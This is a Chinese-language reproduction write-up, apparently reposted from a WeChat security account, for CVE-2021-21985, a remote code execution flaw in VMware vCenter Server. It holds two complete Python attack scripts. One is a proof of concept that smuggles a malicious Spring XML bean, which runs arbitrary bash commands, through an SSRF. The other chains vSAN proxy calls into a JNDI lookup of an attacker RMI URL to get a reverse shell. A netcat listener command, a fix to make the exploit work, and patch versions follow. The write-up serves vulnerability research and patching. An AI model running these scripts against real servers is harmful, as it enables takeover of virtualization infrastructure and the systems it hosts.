VMware vCenter Server服务器是一种高级服务器管理软件,它为控制vsphere环境提供了一个集中式平台,以便在混合云中实现可见性。
编号:CVE-2021-21985
VMware vCenter Server:
非7.0 U2b版本的7.0版本
非6.7 U3n版本的6.7版本
非6.5 U3p版本的6.5版
VMware Cloud Foundation:
低于4.2.1版本的4.x版本
低于3.10.2.1版本的3.x版本
环境搭建可参考,此文不表
https://blog.csdn.net/z136370204/article/details/111719373
1.首先使用POC执行whoami来测试是否存在该漏洞
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
@Author: r0cky
@Time: 2021/6/3-16:57
"""
import base64
import sys
import zipfile
from urllib.parse import urlparse
import zlib
import json
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies={'https':'http://127.0.0.1:8080'}
def banner():
print("""
==============================================================
_____ _ _____ _____ ______
/ ____| | | | __ / ____| ____|
__ _| | ___ _ __ | |_ ___ _ __ | |__) | | | |__
/ / | / _ '_ | __/ _ '__| | _ /| | | __|
V /| |___| __/ | | | || __/ | | | | |____| |____
_/ ________|_| |_|_____|_| |_| _\_____|______|
Powered by r0cky Team ZionLab
==============================================================
""")
def create_xml():
print("[*] Create Xml to offline_bundle.xml ...")
context = """<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg>
<list>
<value>/bin/bash</value>
<value>-c</value>
<value><![CDATA[ {cmd} 2>&1 ]]></value>
</list>
</constructor-arg>
</bean>
<bean id="is" class="java.io.InputStreamReader">
<constructor-arg>
<value>#{pb.start().getInputStream()}</value>
</constructor-arg>
</bean>
<bean id="br" class="java.io.BufferedReader">
<constructor-arg>
<value>#{is}</value>
</constructor-arg>
</bean>
<bean id="collectors" class="java.util.stream.Collectors"></bean>
<bean id="system" class="java.lang.System">
<property name="whatever" value="#{ system.setProperty("output", br.lines().collect(collectors.joining("n"))) }"/>
</bean>
</beans>
""".replace("{cmd}", cmd)
with open('offline_bundle.xml', 'w') as wf:
wf.write(context)
wf.flush()
def create_zip():
print("[*] Create Zip to offline_bundle.zip ...")
with zipfile.ZipFile('offline_bundle.zip', 'w', zipfile.ZIP_DEFLATED) as zp:
zp.write('offline_bundle.xml')
def toBase64():
with open('offline_bundle.zip', 'rb') as rf:
return base64.b64encode(rf.read())
def poc1(url):
ssrf_str = "https://localhost:443/vsanHealth/vum/driverOfflineBundle/data:text/html%3Bbase64,{}%23"
ssrf = ssrf_str.format(bytes.decode(toBase64()))
print ("[*] Get XML to SystemProperties ...")
target = url + "/ui/h5-vsan/rest/proxy/service/vmodlContext/loadVmodlPackages"
data = {"methodInput":[[ssrf]]}
r = requests.post(target, data=json.dumps(data), headers=headers, verify=False, proxies=proxies)
def poc2(url):
print("[*] getProperty ...")
target = url + "/ui/h5-vsan/rest/proxy/service/systemProperties/getProperty"
data = {"methodInput": ["output", None]}
r = requests.post(target, data=json.dumps(data), headers=headers,
verify=False, proxies=proxies)
if "result" in r.json():
print("[+] Command:", cmd)
print(r.json()['result'])
else:
print ("[-] send payload failed.")
headers = {"Content-Type": "application/json"}
def main(url):
try:
create_xml()
create_zip()
poc1(url)
poc2(url)
except:
print("[-] send payload failed.")
if __name__ == '__main__':
banner()
try:
target = sys.argv[1]
cmd = sys.argv[2]
up = urlparse(target)
target = up.scheme + "://" + up.netloc
main(target)
except:
print("Example: ntpython3 " + sys.argv[0] + " <target> <cmd>n")
该POC创建了一个恶意xml文件,打包成zip,并base64后通过特定格式发送,返回包含result字段,及证明存在该漏洞
2、使用EXP反弹Shell
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
@Author: r0cky
@Time: 2021/6/3-16:57
"""
import sys
from urllib.parse import urlparse
import json
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies={'https':'http://127.0.0.1:8080'}
def banner():
print("""
==============================================================
_____ _ _____ _____ ______
/ ____| | | | __ / ____| ____|
__ _| | ___ _ __ | |_ ___ _ __ | |__) | | | |__
/ / | / _ '_ | __/ _ '__| | _ /| | | __|
V /| |___| __/ | | | || __/ | | | | |____| |____
_/ ________|_| |_|_____|_| |_| _\_____|______|
Powered by r0cky Team ZionLab
==============================================================
""")
def payload1(url):
print ("[*] Step 1 setTargetObject to null ...")
target = url + "/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetObject"
data = {"methodInput":[None]}
r = requests.post(target, data=json.dumps(data), headers=headers, verify=False, proxies=proxies)
if "result" in r.json():
payload2(url)
else:
print ("[-] send payload failed1.")
def payload2(url):
print("[*] Step 2 setStaticMethod to payload ...")
target = url + "/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setStaticMethod"
data = {"methodInput": ["javax.naming.InitialContext.doLookup"]}
r = requests.post(target, data=json.dumps(data), headers=headers, verify=False, proxies=proxies)
if "result" in r.json():
payload3(url)
else:
print ("[-] send payload failed2.")
def payload3(url):
print("[*] Step 3 setTargetMethod to doLookup ...")
target = url + "/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetMethod"
data = {"methodInput": ["doLookup"]}
r = requests.post(target, data=json.dumps(data), headers=headers, verify=False, proxies=proxies)
if "result" in r.json():
payload4(url)
else:
print ("[-] send payload failed3.")
def payload4(url):
print("[*] Step 4 setArguments with payload args ...")
target = url + "/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setArguments"
data = {"methodInput": [[rmi_class]]}
r = requests.post(target, data=json.dumps(data), headers=headers, verify=False, proxies=proxies)
if "result" in r.json():
payload5(url)
else:
print ("[-] send payload failed4.")
def payload5(url):
print("[*] Step 5 initial payload class and methods ...")
target = url + "/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/prepare"
data = {"methodInput": []}
r = requests.post(target, data=json.dumps(data), headers=headers, verify=False, proxies=proxies)
if "result" in r.json():
payload6(url)
else:
print ("[-] send payload failed5.")
def payload6(url):
print("[*] Step 6 trigger method invoke ...")
target = url + "/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/invoke"
data = {"methodInput": []}
r = requests.post(target, data=json.dumps(data), headers=headers, verify=False, proxies=proxies)
print("[+] send payload success.")
print()
print("[END] VMWare vCenter RCE Done.")
headers = {"Content-Type": "application/json"}
if __name__ == '__main__':
banner()
try:
target = sys.argv[1]
rmi_class = sys.argv[2]
up = urlparse(target)
target = up.scheme + "://" + up.netloc
payload1(target)
except:
print("Example: ntpython3 " + sys.argv[
0] + " <target> <rmi://ip/class>n")
首先需要启动RMI
然后开启reverse shell监听
nc -lvnp 5555
最后执行EXP
注意:复现中发现该EXP的payload5和payload6函数中的None要删掉,不然会失败
VMware vCenter Server:
7.0版本升级到7.0 U2b
6.7版本升级到6.7 U3n
6.5版本升级到6.5 U3p
VMware Cloud Foundation:
4.x版本升级到4.2.1
3.x版本升级到3.10.2.1
参考链接:
本文始发于微信公众号(Timeline Sec):CVE-2021-21985: VMware vCenter Server RCE复现
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论